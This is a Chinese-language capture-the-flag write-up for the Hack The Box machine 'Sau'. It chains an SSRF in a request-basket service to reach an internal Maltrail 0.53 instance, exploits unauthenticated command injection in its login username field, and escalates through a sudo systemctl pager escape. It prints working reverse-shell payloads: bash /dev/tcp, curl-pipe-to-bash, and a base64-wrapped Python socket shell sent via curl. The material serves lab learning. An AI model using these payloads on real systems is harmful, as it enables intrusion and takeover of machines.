HTB-Sau

---

title: HTB-Sau
date: 2023-12-14 08:50:56
categories: HTB
tag: 渗透

Sau

信息收集

获得靶机ip

使用nmap扫描同时使用浏览器访问查看一下

发现访问后没有出现内容

nmap扫描结束内容如下

Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 08:52 中国标准时间
Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 72.40% done; ETC: 08:54 (0:00:32 remaining)
Nmap scan report for bogon (10.10.11.224)
Host is up (0.35s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 112.22 seconds

这里的80端口显示被过滤了那我们使用nmap -sF来进行扫描这个端口看看

tips: FIN 为 TCP会话结束标志，在FIN扫描中一个设置了FIN位的数据包被发送后，若响应RST数据包，则表示端口关闭，没有响应则表示开放。此类扫描同样不能准确判断windows系统上端口开发情况，适合探测Linux系统上的端口开放情况

Host is up (0.39s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http

Nmap done: 1 IP address (1 host up) scanned in 5.34 second

发现是打开的没问题

然后访问开启的55555端口发现可以

http://10.10.11.224:55555/

使用详细扫描扫描到了

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
55555/tcp open     unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=12/14%Time=657A52FF%P=i686-pc-windows-window
SF:s%r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/h
SF:tml;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Thu,\x2014\x20De
SF:c\x202023\x2000:57:37\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href
SF:=\"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0
SF:\x20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Thu,\x2014\x20De
SF:c\x202023\x2000:57:40\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRe
SF:quest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close
SF:\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nDate:\x20Thu,\x2014\x20Dec\x202023\x2000:58:14\x20
SF:GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x
SF:20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,25
SF:0}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问55555端口发现提示貌似代理访问的东西，那很直接了ssrf直接设置访问127.0.0.1:80端口

POST /api/baskets/add HTTP/1.1
Host: 10.10.11.224:55555
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 142

{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

这样的话访问路由add就相当于访问http://127.0.0.1:80，接下来访问add端口后对其进行目录扫描

wfuzz -w "D:\wordlist\directoryDicts\Filenames_or_Directories_All.txt" --hc 404,502 http://10.10.11.224:55555/add/FUZZ

扫描了一些发现已经扫描到了

000000132:   200        2 L      4 W        26 Ch       "robots.txt"
000000240:   200        73 L     276 W      15051 Ch    "favicon.ico"
000000311:   200        111 L    432 W      7091 Ch     "index"
000000252:   401        0 L      2 W        12 Ch       "login"
000001986:   401        0 L      0 W        0 Ch        "events"
000005704:   200        0 L      1 W        4 Ch        "ping"

接下来一个一个查看路由，index下提示了这个使用的什么服务

Powered by Maltrail (v0.53)
Hide threat
Report false positive

去网上找找这个服务的漏洞

maltrail是开源的恶意流量检测系统，项目地址：https://github.com/stamparm/maltrail。

查到了这个项目的漏洞了

描述
Maltrail <= v0.54 在登录过程中容易受到未经身份验证的操作系统命令注入的影响。

总结
mailtrail/core/http.py 中的函数在参数中包含命令注入漏洞。subprocess.check_outputparams.get("username")

攻击者可以通过将任意操作系统命令注入 username 参数来利用此漏洞。注入的命令将以正在运行的进程的权限执行。此漏洞无需身份验证即可远程利用。

概念验证
curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'
冲击
任意命令执行

也就是说在login页面发送username=;``就能任意命令执行

虽然能够执行命令但是无法直接回显出内容很操作

反弹shell

直接反弹shell

bash -i >& /dev/tcp/10.10.14.54/9999 0>&1

使用urlencode

%62%61%73%68%24%7b%49%46%53%7d%2d%69%24%7b%49%46%53%7d%3e%26%24%7b%49%46%53%7d%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%35%34%2f%39%39%39%39%24%7b%49%46%53%7d%30%3e%26%31

发现反弹不上去

使用获取反弹试试

本地写一个shell.sh然后在使用python -m http.server
相当于本地开启了8000端口
`curl 10.10.14.54:8000/shell.sh|bash`

不晓得为什么不行

那直接使用其他的

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"10.10.14.54",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


curl 'http://10.10.11.224:55555/add/login' --data 'username=;`echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoCiIxMC4xMC4xNC41NCIsOTk5OSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJw=="|base64 -d|sh`'

反弹成功

listening on [any] 9999 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.224] 37542
puma@sau:/opt/maltrail$ ls

在puma的目录下就有一个flag

提取

使用sudo -l

Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

提示能执行systemctl

那好办了

参考链接

https://gtfobins.github.io/gtfobins/systemctl/

直接照搬exp的话可能需要你输入puma的密码这个时候就只有使用

sudo /usr/bin/systemctl status trail.service
!sh

因为上面现在不需要密码的只有

(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

然后在root目录下得到flag2